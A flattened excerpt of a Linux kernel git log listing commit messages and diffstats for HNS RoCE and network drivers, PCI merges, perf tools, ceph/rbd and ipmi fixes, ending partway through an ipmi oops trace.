Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_device.h | 1 + drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 30 +++++++++++++++-------------- drivers/infiniband/hw/hns/hns_roce_qp.c | 13 ++++++------- 3 files changed, 23 insertions(+), 21 deletions(-) commit c24bf895c56157e4d0fba7717ed565f2f3fc25aa Author: Lijun Ou Date: Thu Sep 15 23:48:09 2016 +0100 IB/hns: Fix two possible bugs for rdma cm Fix the length of wqe that maybe lead to an error and write the end bytes of QP1C into the register. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_hw_v1.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit a74aab6c2fdbd9f9501638f67ebedce49d9a8195 Author: Lijun Ou Date: Thu Sep 15 23:48:08 2016 +0100 IB/hns: Fix the value of device_cap_flags In the latest IB core version, it has some known issues with memory registration using the local_dma_lkey. Thus RoCE don't expose support for it, and remove device->local_dma_lkey which is introduced to working systems. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_main.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 31644665d41140c3961c5213350759edb24d5081 Author: Lijun Ou Date: Thu Sep 15 23:48:07 2016 +0100 IB/hns: Add & initialize "node_guid" parameter for RDMA CM According to the Infiniband spec, NodeGUID uniquely identifies a node. This must be initialized to some unique value. This patch adds the support to the HNS RoCE driver to fetch the NodeGUID value from DT or ACPI and then use this value to initialize the node_guid parameter of IB device. This value shall be used by RDMA CM. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_device.h | 1 + drivers/infiniband/hw/hns/hns_roce_main.c | 9 +++++++++ 2 files changed, 10 insertions(+) commit 2eefca272275cb2eac048ddfa3f6fb30d9b24d5e Author: Lijun Ou Date: Thu Sep 15 23:48:06 2016 +0100 IB/hns: Register HNS RoCE Driver get_netdev() with IB Core This patch adds get_netdev() function to the IB device. This shall be used to fetch netdev corresponding to the port number. This function would be called by IB core(Generic CM Agent) for example, when the RDMA connection is being established. Signed-off-by: Lijun Ou Reviewed-by: Wei Hu Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/infiniband/hw/hns/hns_roce_main.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) commit 5d80b3e1cf9900009d4a69a59f1c6b6114b072f4 Author: Daode Huang Date: Thu Sep 29 18:09:16 2016 +0100 net: hns: delete redundant broadcast packet filter process The broadcast packets is filtered in the hardware now, so this process is no need in the driver, just delete it. Signed-off-by: Daode Huang Reviewed-by: Yisen Zhuang Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_enet.c | 10 ---------- 1 file changed, 10 deletions(-) commit 2162a4a1ed8b61afed3b76137aff3ea031d9c6a6 Author: Daode Huang Date: Thu Sep 29 18:09:15 2016 +0100 net: hns: bug fix about broadcast/multicast packets When the dsaf mode receives a broadcast packet, it will filter the packet by comparing the received queue number and destination queue number(get from forwarding table), if they are the same, the packet will be filtered. Otherwise, the packet will be loopback. So this patch select queue 0 to send broadcast and multicast packets. Signed-off-by: Daode Huang Reviewed-by: Yisen Zhuang Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_enet.c | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 58035fd92dcd54c8954c0813f229346b8febd5c0 Author: Daode Huang Date: Thu Sep 29 18:09:14 2016 +0100 net: hns: fix the bug of forwarding table As the sub queue id in the broadcast forwarding table is always set to absolute queue 0 rather than the interface's relative queue 0, this will cause the received broadcast packets loopback to rcb. This patch sets the sub queue id to relative queue 0 of each port. Signed-off-by: Daode Huang Reviewed-by: Yisen Zhuang Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_ae_adapt.c | 8 ++++++-- drivers/net/ethernet/hisilicon/hns/hns_dsaf_mac.c | 13 ++++++++++--- drivers/net/ethernet/hisilicon/hns/hns_dsaf_mac.h | 2 ++ 3 files changed, 18 insertions(+), 5 deletions(-) commit ea870bf93c5cd3635a07a0570cb7fe61436b0c3d Author: Kejian Yan Date: Thu Sep 29 18:09:13 2016 +0100 net: hns: fix port not available after testing loopback After running command "ethtool -t eth0", eth0 can not be connected to network. It is caused by the changing the inner loopback register and this register cannot be changed when hns connected to network. The routine of setting this register needs to be removed and using promisc mode to let the packet looped back pass by dsaf mode. Reported-by: Jun He Signed-off-by: Kejian Yan Reviewed-by: Yisen Zhaung Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_ae_adapt.c | 3 --- drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.c | 10 ---------- drivers/net/ethernet/hisilicon/hns/hns_dsaf_main.h | 1 - drivers/net/ethernet/hisilicon/hns/hns_ethtool.c | 7 +++++++ 4 files changed, 7 insertions(+), 14 deletions(-) commit 34447271dc10302a9aaee273a3ed354aefeaef7c Author: Daode Huang Date: Thu Sep 29 18:09:12 2016 +0100 net: hns: delete repeat read fbd num after while Because we handle the received packets after napi, so delete the checking before submitting. It delete the code of read the fbd number register, which reduces the cpu usages while receiving packets Signed-off-by: Daode Huang Reviewed-by: Yisen Zhuang Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_enet.c | 15 ++------------- 1 file changed, 2 insertions(+), 13 deletions(-) commit cee5add45853ed9e6bbb6ad203602be6c42d3e16 Author: Daode Huang Date: Thu Sep 29 18:09:11 2016 +0100 net: hns: add fini_process for v2 napi process This patch adds fini_process for v2, it handles the packets recevied by the hardware in the napi porcess. With this patch, the hardware irq numbers will drop 50% per sec. Signed-off-by: Daode Huang Reviewed-by: Yisen Zhuang Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_enet.c | 45 ++++++++++++++++++++++----- 1 file changed, 38 insertions(+), 7 deletions(-) commit 6771cbf9446121cb7b64810395391712a03b899d Author: Daode Huang Date: Thu Sep 29 18:09:10 2016 +0100 net: hns: bug fix about setting coalsecs-usecs to 0 When set rx/tx coalesce usecs to 0, the interrupt coalesce will be disabled, but there is a interrupt rate limit which set to 1us, it will cause no interrupt occurs. This patch disable interrupt limit when sets coalsecs usecs to 0, and restores it to 1 in other case. Signed-off-by: Daode Huang Reviewed-by: Yisen Zhuang Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_dsaf_rcb.c | 16 ++++++++++++++++ drivers/net/ethernet/hisilicon/hns/hns_dsaf_reg.h | 4 ++++ 2 files changed, 20 insertions(+) commit 0e97cd4e4632e385b3bf7edcf0c803de0487212a Author: lipeng Date: Thu Sep 29 18:09:09 2016 +0100 net: hns: fix port unavailable after hnae_reserve_buffer_map fail When hnae_reserve_buffer_map fail, it will break cycle and some buffer description has no available memory, therefore the port will be unavailable. Signed-off-by: Peng Li Reviewed-by: Yisen Zhuang Signed-off-by: Salil Mehta Signed-off-by: Doug Ledford drivers/net/ethernet/hisilicon/hns/hns_enet.c | 23 ++++++++++++++++++----- 1 file changed, 18 insertions(+), 5 deletions(-) commit 61347fa6087884305ea4a3a04501839fdb68dc76 Author: Parav Pandit Date: Tue Sep 13 19:40:50 2016 +0530 IB/rdmavt: Trivial function comment corrected. Corrected function name in comment from qib_ to rvt_. Signed-off-by: Parav Pandit Signed-off-by: Doug Ledford drivers/infiniband/sw/rdmavt/qp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 930ffc03fabf183f1e3309619aaa24869779bffa Merge: e15194d 8e7ca8c Author: Bjorn Helgaas Date: Mon Oct 3 09:43:21 2016 -0500 Merge branch 'pci/virtualization' into next * pci/virtualization: PCI: xilinx: Relax device number checking to allow SR-IOV PCI: designware: Relax device number checking to allow SR-IOV PCI: altera: Relax device number checking to allow SR-IOV PCI: Check for pci_setup_device() failure in pci_iov_add_virtfn() PCI: Mark Atheros AR9580 to avoid bus reset commit e15194d2a726b7201878d17ee87fa80d89aaabf4 Merge: 3f4f356 62d9a78 Author: Bjorn Helgaas Date: Mon Oct 3 09:43:21 2016 -0500 Merge branch 'pci/resource' into next * pci/resource: PCI: Ignore requested alignment for VF BARs PCI: Ignore requested alignment for PROBE_ONLY and fixed resources commit 3f4f35678fb83da2f9ef17ddaa7507a45c2f7049 Merge: 6c6cba4 a0d2a95 Author: Bjorn Helgaas Date: Mon Oct 3 09:43:21 2016 -0500 Merge branch 'pci/pm' into next * pci/pm: PCI: Avoid unnecessary resume after direct-complete PCI: Recognize D3cold in pci_update_current_state() PCI: Query platform firmware for device power state PCI: Afford direct-complete to devices with non-standard PM commit 6c6cba49495c3a254c1bc922afeb69e1431d2c23 Merge: 5485e49 f8430ea Author: Bjorn Helgaas Date: Mon Oct 3 09:43:20 2016 -0500 Merge branch 'pci/msi' into next * pci/msi: PCI/MSI: Enable PCI_MSI_IRQ_DOMAIN support for ARC commit 5485e49f71610a005304f8a3617ab2893543a1dc Merge: 64ea3b9 ad618c9 Author: Bjorn Helgaas Date: Mon Oct 3 09:43:20 2016 -0500 Merge branch 'pci/misc' into next * pci/misc: PCI: Drop CONFIG_KEXEC_CORE ifdeffery commit 64ea3b99d665d0140cdf5047571e65d8ca28d0e6 Merge: fb6b6cc 3161832 Author: Bjorn Helgaas Date: Mon Oct 3 09:43:19 2016 -0500 Merge branch 'pci/hotplug' into next * pci/hotplug: x86/PCI: VMD: Request userspace control of PCIe hotplug indicators PCI: pciehp: Allow exclusive userspace control of indicators PCI: pciehp: Remove useless pciehp_get_latch_status() calls PCI: pciehp: Clean up dmesg "Slot(%s)" messages PCI: pciehp: Remove unnecessary guard PCI: pciehp: Don't re-read Slot Status when handling surprise event PCI: pciehp: Don't re-read Slot Status when queuing hotplug event PCI: pciehp: Process all hotplug events before looking for new ones PCI: pciehp: Return IRQ_NONE when we can't read interrupt status PCI: pciehp: Rename pcie_isr() locals for clarity PCI: pciehp: Clear attention LED on device add commit fb6b6cc41bed72cbafb0d01ab139a4a5ad673e01 Merge: 4dc2db0 13f392e Author: Bjorn Helgaas Date: Mon Oct 3 09:43:19 2016 -0500 Merge branch 'pci/enumeration' into next * pci/enumeration: PCI: tegra: Fix pci_remap_iospace() failure path PCI: generic: Fix pci_remap_iospace() failure path PCI: rcar: Fix pci_remap_iospace() failure path PCI: versatile: Fix pci_remap_iospace() failure path PCI: designware: Fix pci_remap_iospace() failure path PCI: aardvark: Fix pci_remap_iospace() failure path commit 4dc2db096a9f7c0316bafc18ee00d89e0acf4ebf Merge: 9e18ad9 6b20f72 Author: Bjorn Helgaas Date: Mon Oct 3 09:42:57 2016 -0500 Merge branch 'pci/aer' into next * pci/aer: PCI/AER: Fix aer_probe() kernel-doc comment PCI/AER: Cache capability position PCI/AER: Avoid memory allocation in interrupt handling path ACPI / APEI: Send correct severity to calculate AER severity PCI/AER: Remove duplicate AER severity translation PCI/AER: Remove aerdriver.forceload kernel parameter PCI/AER: Remove aerdriver.nosourceid kernel parameter x86/PCI: VMD: Add quirk for AER to ignore source ID PCI/AER: Add bus flag to skip source ID matching Conflicts: drivers/pci/probe.c commit 867a979a83d38fb82c4e7534a0281a02ef1700a3 Author: Andi Kleen Date: Thu Sep 15 15:24:38 2016 -0700 perf tools: Add jsmn `jasmine' JSON parser I need a JSON parser. This adds the simplest JSON parser I could find -- Serge Zaitsev's jsmn `jasmine' -- to the perf library. I merely converted it to (mostly) Linux style and added support for non 0 terminated input. The parser is quite straight forward and does not copy any data, just returns tokens with offsets into the input buffer. So it's relatively efficient and simple to use. The code is not fully checkpatch clean, but I didn't want to completely fork the upstream code. Original source: http://zserge.bitbucket.org/jsmn.html In addition I added a simple wrapper that mmaps a json file and provides some straight forward access functions. Used in follow-on patches to parse event files. Signed-off-by: Andi Kleen Acked-by: Ingo Molnar Acked-by: Jiri Olsa Acked-by: Namhyung Kim Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/1473978296-20712-2-git-send-email-sukadev@linux.vnet.ibm.com Signed-off-by: Sukadev Bhattiprolu [ Use fcntl.h instead of sys/fcntl.h to fix the build on Alpine Linux 3.4/musl libc, use stdbool.h to avoid clashing with 'bool' typedef there ] Signed-off-by: Arnaldo Carvalho de Melo tools/perf/pmu-events/jsmn.c | 313 +++++++++++++++++++++++++++++++++++++++++++ tools/perf/pmu-events/jsmn.h | 67 +++++++++ tools/perf/pmu-events/json.c | 162 ++++++++++++++++++++++ tools/perf/pmu-events/json.h | 32 +++++ 4 files changed, 574 insertions(+) commit 6b3db6f9b970001b751a6cd001bc2ab581ce0fb3 Author: Jiri Olsa Date: Tue Sep 27 16:18:46 2016 +0200 tools build: Make fixdep a hostprog It is used in the build process, so stop suppressing its build in tools cross builds. Signed-off-by: Jiri Olsa Tested-by: Arnaldo Carvalho de Melo Cc: Andi Kleen Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: Sukadev Bhattiprolu Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/20160927141846.GA6589@krava [ Use HOSTCC on the $(OUTPUT)fixdep target, it was using the x-compiler to link fixdep-in.o, that was correctly built with HOSTCC and thus failing ] Signed-off-by: Arnaldo Carvalho de Melo tools/build/Build | 2 ++ tools/build/Makefile | 2 +- tools/build/Makefile.include | 4 ---- 3 files changed, 3 insertions(+), 5 deletions(-) commit 0c3b7e42616f1f6084cfeb0d443cbff0b2c424a9 Author: Jiri Olsa Date: Tue Sep 27 16:18:46 2016 +0200 tools build: Add support for host programs format In some cases, like for fixdep and shortly for jevents, we need to build a tool to run on the host that will be used in building a tool, such as perf, that is being cross compiled, so do like the kernel and provide HOSTCC, HOSTLD and HOSTAR to do that. Signed-off-by: Jiri Olsa Requested-by: Andi Kleen Requested-and-Tested-by: Arnaldo Carvalho de Melo Cc: Madhavan Srinivasan Cc: Peter Zijlstra Cc: Sukadev Bhattiprolu Cc: linuxppc-dev@lists.ozlabs.org Link: http://lkml.kernel.org/r/20160927141846.GA6589@krava Signed-off-by: Arnaldo Carvalho de Melo tools/build/Build.include | 5 +++++ tools/build/Makefile | 6 ++++++ tools/build/Makefile.build | 19 +++++++++++++++---- 3 files changed, 26 insertions(+), 4 deletions(-) commit 18ef15c675a5d5d97f844ebcf340a2a6c7cf3142 Author: Arnaldo Carvalho de Melo Date: Mon Oct 3 11:07:24 2016 -0300 perf tools: Experiment with cppcheck Experimenting a bit using cppcheck[1], a static checker brought to my attention by Colin, reducing the scope of some variables, reducing the line of source code lines in the process: $ cppcheck --enable=style tools/perf/util/thread.c Checking tools/perf/util/thread.c... [tools/perf/util/thread.c:17]: (style) The scope of the variable 'leader' can be reduced. [tools/perf/util/thread.c:133]: (style) The scope of the variable 'err' can be reduced. [tools/perf/util/thread.c:273]: (style) The scope of the variable 'err' can be reduced. Will continue later, but these are already useful, keep them. 1: https://sourceforge.net/p/cppcheck/wiki/Home/ Cc: Adrian Hunter Cc: Colin Ian King Cc: David Ahern Cc: Jiri Olsa Cc: Namhyung Kim Cc: Wang Nan Link: http://lkml.kernel.org/n/tip-ixws7lbycihhpmq9cc949ti6@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/evlist.c | 12 +++++------- tools/perf/util/evsel.c | 3 +-- tools/perf/util/machine.c | 6 +++--- tools/perf/util/strbuf.h | 3 +-- tools/perf/util/thread.c | 9 +++------ 5 files changed, 13 insertions(+), 20 deletions(-) commit ead1a57457c0324a167f3f9e3a70e26c2d75fb12 Author: Colin Ian King Date: Mon Oct 3 11:34:31 2016 +0100 perf probe: Check if *ptr2 is zero and not ptr2 Static anaylsis with cppcheck[1] detected an incorrect comparison: [tools/perf/util/probe-event.c:216]: (warning) Char literal compared with pointer 'ptr2'. Did you intend to dereference it? Dereference ptr2 for the comparison to fix this. 1: https://sourceforge.net/p/cppcheck/wiki/Home/ Signed-off-by: Colin King Cc: Alexander Shishkin Cc: Masami Hiramatsu Cc: Peter Zijlstra Cc: Ravi Bangoria Cc: Wang Nan Fixes: 35726d3a4ca9 ("perf probe: Fix to cut off incompatible chars from group name") Link: http://lkml.kernel.org/r/20161003103431.18534-1-colin.king@canonical.com Signed-off-by: Arnaldo Carvalho de Melo tools/perf/util/probe-event.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 464691bd52b46a565153ec2a3b8b9984dacd4a00 Author: Ilya Dryomov Date: Fri Sep 23 09:57:57 2016 +0200 libceph: ceph_build_auth() doesn't need ceph_auth_build_hello() A static bug finder (EBA) on Linux 4.7: Double lock in net/ceph/auth.c second lock at 108: mutex_lock(& ac->mutex); [ceph_auth_build_hello] after calling from 263: ret = ceph_auth_build_hello(ac, msg_buf, msg_len); if ! ac->protocol -> true at 262 first lock at 261: mutex_lock(& ac->mutex); [ceph_build_auth] ceph_auth_build_hello() is never called, because the protocol is always initialized, whether we are checking existing tickets (in delayed_work()) or getting new ones after invalidation (in invalidate_authorizer()). Reported-by: Iago Abal Signed-off-by: Ilya Dryomov net/ceph/auth.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit fdc723e77bcf17ec2646fdef031e7f135968a9b7 Author: Ilya Dryomov Date: Fri Sep 23 09:57:56 2016 +0200 libceph: use CEPH_AUTH_UNKNOWN in ceph_auth_build_hello() Signed-off-by: Ilya Dryomov net/ceph/auth.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 92c1037ce8e3a70b616c8b91c990caf16a0096d1 Author: Andreas Gerstmayr Date: Thu Sep 15 21:23:01 2016 +0200 ceph: fix description for rsize and rasize mount options Signed-off-by: Andreas Gerstmayr Signed-off-by: Ilya Dryomov Documentation/filesystems/ceph.txt | 4 ++++ 1 file changed, 4 insertions(+) commit 88a25a5fa09dff62b5fc1e82fb9c0c6b23971887 Author: Markus Elfring Date: Sun Sep 11 12:21:25 2016 +0200 rbd: use kmalloc_array() in rbd_header_from_disk() * A multiplication for the size determination of a memory allocation indicated that an array data structure should be processed. Thus use the corresponding function "kmalloc_array". This issue was detected by using the Coccinelle software. * Delete the local variable "size" which became unnecessary with this refactoring. Signed-off-by: Markus Elfring Signed-off-by: Ilya Dryomov drivers/block/rbd.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 8cdcc07dde27d29bc25b3588238d4b1cc9a56fe9 Author: Wei Yongjun Date: Sat Aug 13 09:10:28 2016 +0000 ceph: use list_move instead of list_del/list_add Using list_move() instead of list_del() + list_add(). Signed-off-by: Wei Yongjun Signed-off-by: Ilya Dryomov fs/ceph/mds_client.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit fcff415c9421b417ef91d48f546f3c4566ddc358 Author: Yan, Zheng Date: Wed Sep 14 16:39:51 2016 +0800 ceph: handle CEPH_SESSION_REJECT message Signed-off-by: Yan, Zheng fs/ceph/mds_client.c | 27 ++++++++++++++++++++++----- fs/ceph/mds_client.h | 1 + fs/ceph/strings.c | 2 ++ include/linux/ceph/ceph_fs.h | 1 + 4 files changed, 26 insertions(+), 5 deletions(-) commit ce2728aaa82bbebae7d20345324af3f0f49eeb20 Author: Yan, Zheng Date: Wed Sep 14 14:53:05 2016 +0800 ceph: avoid accessing / when mounting a subpath Accessing / causes failuire if the client has caps that restrict path Signed-off-by: Yan, Zheng fs/ceph/super.c | 49 ++++++++++++++++++++----------------------------- 1 file changed, 20 insertions(+), 29 deletions(-) commit db4a63aab43b2040292b2023512864702b5f9799 Author: Yan, Zheng Date: Tue Sep 13 10:15:36 2016 +0800 ceph: fix mandatory flock check Signed-off-by: Yan, Zheng fs/ceph/locks.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit e55f1a1871b148802b42ee3807edcb6528ffc27d Author: NeilBrown Date: Wed Aug 31 12:59:29 2016 +1000 ceph: remove warning when ceph_releasepage() is called on dirty page If O_DIRECT writes are racing with buffered writes, then the call to invalidate_inode_pages2_range() can call ceph_releasepage() on dirty pages. Most filesystems hold inode_lock() across O_DIRECT writes so they do not suffer this race, but cephfs deliberately drops the lock, and opens a window for the race. This race can be triggered with the generic/036 test from the xfstests test suite. It doesn't happen every time, but it does happen often. As the possibilty is expected, remove the warning, and instead include the PageDirty() status in the debug message. Signed-off-by: NeilBrown Reviewed-by: Jeff Layton Reviewed-by: Yan, Zheng fs/ceph/addr.c | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) commit 5d7eb1a3225309b294275385ece36fee256d5c46 Author: NeilBrown Date: Thu Sep 1 22:26:23 2016 +0800 ceph: ignore error from invalidate_inode_pages2_range() in direct write This call can fail if there are dirty pages. The preceding call to filemap_write_and_wait_range() will normally remove dirty pages, but as inode_lock() is not held over calls to ceph_direct_read_write(), it could race with non-direct writes and pages could be dirtied immediately after filemap_write_and_wait_range() returns If there are dirty pages, they will be removed by the subsequent call to truncate_inode_pages_range(), so having them here is not a problem. If the 'ret' value is left holding an error, then in the async IO case (aio_req is not NULL) the loop that would normally call ceph_osdc_start_request() will see the error in 'ret' and abort all requests. This doesn't seem like correct behaviour. So use separate 'ret2' instead of overloading 'ret'. Signed-off-by: NeilBrown Reviewed-by: Jeff Layton Reviewed-by: Yan, Zheng fs/ceph/file.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 1afe478569ba7414dde8a874dda9c1ea621c0c63 Author: Yan, Zheng Date: Wed Aug 24 11:33:46 2016 +0800 ceph: fix error handling of start_read() If start_page() fails to add a page to page cache or fails to send OSD request. It should cal put_page() (instead of free_page()) for relevant pages. Besides, start_page() need to cancel fscache readpage if it fails to send OSD request. Signed-off-by: Yan, Zheng Reported-by: Zhi Zhang fs/ceph/addr.c | 19 +++++++++---------- 1 file changed, 9 insertions(+), 10 deletions(-) commit 0dcc685e7dd7190dcaa5435e9c14150f1d405b7b Author: Ilya Dryomov Date: Mon Sep 26 15:43:52 2016 +0200 rbd: add rbd_obj_request_error() helper Pull setting an error and marking a request done code into a new helper. obj_request_img_data_test() check isn't strictly needed right now, but makes it applicable to !img_data requests and a bit safer. Signed-off-by: Ilya Dryomov drivers/block/rbd.c | 28 ++++++++++++++++++---------- 1 file changed, 18 insertions(+), 10 deletions(-) commit 04dc923c9e4c43df7d2d94f290189785d3172326 Author: Ilya Dryomov Date: Thu Sep 15 18:05:16 2016 +0200 rbd: img_data requests don't own their page array Move the check into rbd_obj_request_destroy() to avoid use-after-free on errors in rbd_img_request_fill(..., OBJ_REQUEST_PAGES, ...), where pages, owned by the caller, gets freed in rbd_img_request_fill(). Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Reviewed-by: David Disseldorp drivers/block/rbd.c | 11 +++-------- 1 file changed, 3 insertions(+), 8 deletions(-) commit 7c84883adf6dc614fc9e01304aa1813a55c43ad2 Author: Ilya Dryomov Date: Thu Sep 15 17:56:39 2016 +0200 rbd: don't call rbd_osd_req_format_read() for !img_data requests Accessing obj_request->img_request union field is only valid for object requests associated with an image (i.e. if obj_request_img_data_test() returns true). rbd_osd_req_format_read() used to do more, but now it just sets osd_req->snap_id. Standalone and stat object requests always go to the HEAD revision and are fine with CEPH_NOSNAP set by libceph, so get around the invalid union field use by simply not calling rbd_osd_req_format_read() in those places. Reported-by: David Disseldorp Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Reviewed-by: David Disseldorp drivers/block/rbd.c | 9 ++------- 1 file changed, 2 insertions(+), 7 deletions(-) commit 710214e391476f331abed1b774b5f025d054ab7f Author: Ilya Dryomov Date: Thu Sep 15 17:53:32 2016 +0200 rbd: rework rbd_img_obj_exists_submit() error paths - don't put obj_request before rbd_obj_request_get() if rbd_obj_request_create() fails - don't leak pages if rbd_obj_request_create() fails - don't leak stat_request if rbd_osd_req_create() fails Reported-by: David Disseldorp Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Reviewed-by: David Disseldorp drivers/block/rbd.c | 42 ++++++++++++++++++++++-------------------- 1 file changed, 22 insertions(+), 20 deletions(-) commit fa355112c2763d513f1356119684dc8a6150d08a Author: Ilya Dryomov Date: Fri Sep 16 15:20:42 2016 +0200 rbd: don't crash or leak on errors in rbd_img_obj_parent_read_full_callback() - fix parent_length == img_request->xferred assert to not fire on copyup read failures - don't leak pages if copyup read fails or we can't allocate a new osd request Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Reviewed-by: David Disseldorp drivers/block/rbd.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 4a17dadcae55ca1f5c1ed826d42185e22653c256 Author: Ilya Dryomov Date: Tue Sep 13 21:08:10 2016 +0200 rbd: move bumping img_request refcount into rbd_obj_request_submit() Commit 0f2d5be792b0 ("rbd: use reference counts for image requests") added rbd_img_request_get(), which rbd_img_request_fill() calls for each obj_request added to img_request. It was an urgent band-aid for the uglyness that is rbd_img_obj_callback() and none of the error paths were updated. Given that this img_request reference is meant to represent an obj_request that hasn't passed through rbd_img_obj_callback() yet, proper cleanup in appropriate destructors is a challenge. However, noting that if we don't get a chance to call rbd_obj_request_complete(), there is not going to be a call to rbd_img_obj_callback(), we can move rbd_img_request_get() into rbd_obj_request_submit() and fixup the two places that call rbd_obj_request_complete() directly and not through rbd_obj_request_submit() to temporarily bump img_request, so that rbd_img_obj_callback() can put as usual. This takes care of img_request leaks on errors on the submit side. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder drivers/block/rbd.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit c2e82414884718ad6ec33a7528606cb07cf55cb4 Author: Ilya Dryomov Date: Tue Sep 13 20:18:01 2016 +0200 rbd: mark the original request as done if stat request fails If stat request fails with something other than -ENOENT (which just means that we need to copyup), the original object request is never marked as done and therefore never completed. Fix this by moving the mark done + complete snippet from rbd_img_obj_parent_read_full() into rbd_img_obj_exists_callback(). The former remains covered, as the latter is its only caller (through rbd_img_obj_request_submit()). Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Reviewed-by: David Disseldorp drivers/block/rbd.c | 28 +++++++++++++++------------- 1 file changed, 15 insertions(+), 13 deletions(-) commit 058aa9919147da9f088a96982a19ea0864139dc8 Author: Ilya Dryomov Date: Mon Sep 12 14:44:45 2016 +0200 rbd: clean up asserts in rbd_img_obj_request_submit() helpers Assert once in rbd_img_obj_request_submit(). Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Reviewed-by: David Disseldorp drivers/block/rbd.c | 30 ++++++++++-------------------- 1 file changed, 10 insertions(+), 20 deletions(-) commit 980917fc6ec94cb614fd79e6a124689e700f9d97 Author: Ilya Dryomov Date: Mon Sep 12 18:59:42 2016 +0200 rbd: change rbd_obj_request_submit() signature - osdc parameter is useless - starting with commit 5aea3dcd5021 ("libceph: a major OSD client update"), ceph_osdc_start_request() always returns success Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Reviewed-by: David Disseldorp drivers/block/rbd.c | 70 ++++++++++++++++++----------------------------------- 1 file changed, 23 insertions(+), 47 deletions(-) commit 80de19122866d0a65f741e7ff2d5d20842d22d6b Author: Ilya Dryomov Date: Tue Sep 20 14:23:17 2016 +0200 rbd: lock_on_read map option Add a per-device option to acquire exclusive lock on reads (in addition to writes and discards). The use case is iSCSI, where it will be used to prevent execution of stale writes after the implicit failover. Signed-off-by: Ilya Dryomov Tested-by: Mike Christie drivers/block/rbd.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) commit bd85f4b37ddf2da22ccf5b29d264b2459b6722df Author: Xie XiuQi Date: Tue Sep 27 15:07:12 2016 +0800 ipmi: fix crash on reading version from proc after unregisted bmc I meet a crash, which could be reproduce: 1) while true; do cat /proc/ipmi/0/version; done 2) modprobe -rv ipmi_si ipmi_msghandler ipmi_devintf [82761.021137] IPMI BT: req2rsp=5 secs retries=2 [82761.034524] ipmi device interface [82761.222218] ipmi_si ipmi_si.0: Found new BMC (man_id: 0x0007db, prod_id: 0x0001, dev_id: 0x01) [82761.222230] ipmi_si ipmi_si.0: IPMI bt interface initialized [82903.922740] BUG: unable to handle kernel NULL pointer dereference at 00000000000002d4 [82903.930952] IP: [] smi_version_proc_show+0x18/0x40 [ipmi_msghandler] [82903.939220] PGD 86693a067 PUD 865304067 PMD 0 [82903.943893] Thread overran stack, or stack corrupted [82903.949034] Oops: 0000 [#1] SMP [82903.983091] Modules linked in: ipmi_si(-) ipmi_msghandler binfmt_misc ebtable_filter ebtables ip6table_filter ip6_tables iptable_filter ... [82904.057285] pps_core scsi_transport_sas dm_mod vfio_iommu_type1 vfio xt_sctp nf_conntrack_proto_sctp nf_nat_proto_sctp nf_nat nf_conntrack sctp libcrc32c [last unloaded: ipmi_devintf] [82904.073169] CPU: 37 PID: 28089 Comm: cat Tainted: GF O ---- ------- 3.10.0-327.28.3.el7.x86_64 #1 [82904.083373] Hardware name: Huawei RH2288H V3/BC11HGSA0, BIOS 3.22 05/16/2016 [82904.090592] task: ffff880101cc2e00 ti: ffff880369c54000 task.ti: ffff880369c54000 [82904.098414] RIP: 0010:[] [] smi_version_proc_show+0x18/0x40 [ipmi_msghandler] [82904.109124] RSP: 0018:ffff880369c57e70 EFLAGS: 00010203 [82904.114608] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000024688470 [82904.121912] RDX: fffffffffffffff4 RSI: ffffffffa0313404 RDI: ffff8808670ce200 